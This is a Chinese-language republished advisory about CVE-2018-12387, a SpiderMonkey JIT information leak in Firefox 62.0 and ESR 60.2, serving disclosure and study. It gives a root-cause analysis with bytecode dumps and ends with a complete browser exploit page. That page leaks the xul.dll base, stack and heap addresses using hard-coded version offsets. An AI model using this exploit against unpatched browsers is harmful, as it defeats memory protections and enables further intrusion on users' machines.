内容简介:研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。
前言
研究发现,JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数,而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数,攻击者将能够使用这个地址来进一步实施攻击。
厂商回复
这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。
漏洞CVE编号
CVE-2018-12387
漏洞发现者
BrunoKeith和NiklasBaumstark,独立安全研究员,在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。
受影响的系统
Firefox 62.0 Firefox ESR 60.2
漏洞详情
在对Spidermonkey(Mozilla的JavaScript引擎,采用C++编写)进行模糊测试的过程中,我们用下面这段代码成功触发了一次调试断言(Debug Assertion):
functionf(o) { var a = [o]; a.length = a[0]; var useless = function () {} var sz = Array.prototype.push.call(a, 42,43); (function () { sz; })(new Boolean(false)); } for(var i = 0; i < 25000; i++) { f(1); } f(2);
上述代码触发了如下所示的断言(Assertion):
Assertion failure: isObject() and crashes in release Build
根本原因分析
在运行JIT编译器生成的代码时,函数f生成了上述断言。
接下来,我们一起看一看JIT代码中的IR(中间表示):
我们可以看到上图中的arraypusht指令,关于该指令的内容可参考【 这篇文档 】。函数中的注释信息表示,调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言,因为在调用函数时,栈指针没有被正确恢复。
在了解了错误发生的场景之后,我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler,并通过peek()来获取栈地址值:
//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_))) return false; // Leave the object on the stack. frame.pop();
这个操作码会被下列JavaScript代码执行:
functionf() { var y = {}; var o = { a: y }; } dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */
Handler告诉了我们这个操作码是如何被编译的:R0被设置为了stack[top-1] = o,R1被设置为了stack[top] = y,接下来内部缓存会设置R0.a = R1。由于栈地址偏移,在下面的代码中会执行stack[top].a = stack[top+1],因此我们可以在栈外获取一个JSValue:
vartest = { a: 13.37 }; functionf(o) { var a = [o]; a.length = a[0]; var useless = function () {} useless + useless; var sz = Array.prototype.push.call(a,1337, 43); (function () { sz })(); var o = { a: test }; } dis(f); for(var i = 0; i < 25000; i++) { f(1); } f(100); print(test.a);
/*bytecode: ... 00034:lambda function() {} # FUN 00039:setlocal 1 # FUN 00043:pop # 00044:getlocal 1 # useless 00048:getlocal 1 # useless useless 00052:add # (useless + useless) 00053:pop # 00054:getgname "Array" # Array 00059:getprop "prototype" # Array.prototype 00064:getprop "push" # Array.prototype.push 00069:dup # Array.prototype.push Array.prototype.push 00070:callprop "call" # Array.prototype.push Array.prototype.push.call 00075:swap # Array.prototype.push.call Array.prototype.push 00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a 00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 1337 00083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 43 00085:funcall 3 # Array.prototype.push.call(...) ... 00104:newobject ({a:(void 0)}) # OBJ 00109:getgname "test" # OBJ test 00114:initprop "a" # OBJ 00119:setarg 0 # OBJ 00122:pop # 00123:retrval #
指令48只会将一个函数push进堆内存中,这样一来指令85(funcall)将不会抛出异常,因为它会尝试从栈中获取Array.prototype.push.call,但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double类型表示,而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。
漏洞利用代码
<script> varconvert = new ArrayBuffer(0x100); varu32 = new Uint32Array(convert); varf64 = new Float64Array(convert); varBASE = 0x100000000; functioni2f(x) { u32[0] = x % BASE; u32[1] = (x - (x % BASE)) / BASE; /// return f64[0]; } functionf2i(x) { f64[0] = x; return u32[0] + BASE * u32[1]; } functionhex(x) { return `0x${x.toString(16)}` } vartest = {a:0x1337}; functiongen(m) { var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m); var code = ` f = function(o) { var y = test; var a = [o]; a.length = a[0]; var useless = function() { } useless + useless + useless + useless +useless + useless; var sz = Array.prototype.push.call(a,1337, 43); (function() { sz; })(); var o = ${expr}; } `; eval(code); } VERSION= '62.0'; functionexploit() { var xul = 0; var stack = 0; var heap = 0; var leak = []; for (var i = 20; i >= 0; --i) { gen(i); for (var j = 0; j < 10000; j++) { f(1); } f(100); var x = f2i(test.a); leak.push(x); } function xulbase(addr) { if (VERSION == '62.0') { var offsets = [ 0x92fe34, 0x3bd4108, ]; } else { alert('Unknown version: ' +VERSION); throw null; } var res = 0; offsets.forEach((offset) => { if (offset % 0x1000 == addr %0x1000) { res = addr - offset; } }); return res; } xul = xulbase(leak[1]); stack = leak[0]; heap = leak[3]; var el = document.createElement('pre'); el.innerText = ( "XUL.dll base: " + hex(xul) +"\n" + "Stack: " + hex(stack) +"\n" + "Heap: " + hex(heap) +"\n" + "\nFull leak:\n" +leak.map(hex).join("\n")) document.body.appendChild(el); } </script> <buttononclick="exploit()">Go</button>
* 参考来源: securiteam ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ImageMagick内存泄漏漏洞分析(CVE-2018-16323)
- Android通过RSSI广播泄漏敏感数据漏洞披露(CVE-2018-9581)
- Symantec终端防护内核内存信息泄漏漏洞分析(CVE-2018-18366)
- Android系统中通过RSSI广播泄漏敏感数据的漏洞详情披露(CVE-2018-9581)
- BUF大事件丨优衣库遭到黑客攻击,超过46万用户数据泄漏;CVE-2019-0708,又一个“WannaCry”级漏洞?
- BUF早餐铺 | 新蛋网用户信用卡数据泄漏;西数NAS出现严重安全漏洞,攻击者可获得完整访问权限;超...
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JS 压缩/解压工具
在线压缩/解压 JS 代码
正则表达式在线测试
正则表达式在线测试